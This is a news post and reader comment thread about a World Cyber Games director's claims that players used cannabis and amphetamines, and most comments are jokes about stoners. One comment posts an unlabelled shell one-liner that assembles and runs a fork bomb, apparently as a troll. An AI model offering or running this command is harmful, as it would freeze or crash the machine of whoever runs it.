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WCG Tournament Director Admits Drugs In E-Sports
SlappingOysters writes "In the lead up to the World Cyber Games finals in Germany, Gameplayer has an incredible interview with Tournament Director Alex Walker in which he freely admits knowledge of participants taking illegal drugs to enhance their performance. The interview came in response to a previous article by the site in which they examined whether there was a need to bring drug testing into professional gaming events to ensure a level playing field. Walker said, 'I've seen a number of players at national tournaments who came in "baked" (that's stoned for the uninformed) purely so they could play better. In most cases they did, although obviously they couldn't just pull out another joint midway through. In one WCG, a player I knew took amphetamines an hour before his match to boost his reflexes.'"
It gives you the munchies, makes you paranoid, and makes you giggle every time someone says "420" but it doesn't make you better at Halo. So stop telling smugly telling other stoners that you're only smoking weed for "professional reasons." Unless you're paid to sit around all day watching "Krypto the Superdog" marathons on the Cartoon Network, then YOU'RE JUST A STONER!
Oh, and here's another insight, Pete. To be a professional gamer YOU ACTUALLY HAVE TO GET PAID FOR IT! And, much as I applaud your claim to be one of the best "WWE: Day of Reckoning" players in the world, I'm pretty sure no one is going to be holding a tournament for an obscure Gamecube title anytime soon. And, in other professional videogaming news, Skykes is getting tired of you crashing on his couch!
Oh sorry, was I ranting? I assure you this post has nothing to do with anyone I know.
SJW: Someone who has run out of real oppression, and has to fake it.
So they drug themselves up, boo-hoo. Clearly these are inferior competitions if doping is beneficial, just look at any motorsports competition and you'll notice people aren't doping because the sideeffects of anything are too impeding.
Um, I'm not a regular drug user but how are the effects of Cannabis beneficial to gaming?
It blurs the difference between fantasy and reality. The game looks and feels very real under the effects of marijuana.
if you can spend 12 hours playing a game, then you're stoned. anyone else would get bored and go out.
They must miss that their lead demographic coincides with the lead demographic for marijuana use.
fools. These are the people who bought GTA? do you honestly think that they don;t toke?
I'm kinda bemused....
...does this make a roomful of avid gamers actually interesting or fun to be with?
(or are they just as boring when they are off their tits?)
Nope, but I was aiming for a troll mod.
I tried coding while being drunk from tequila and sake though...
First ... like ... post ... dude.
I am .... so fucking .... baked.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What does stoned mean?
troll.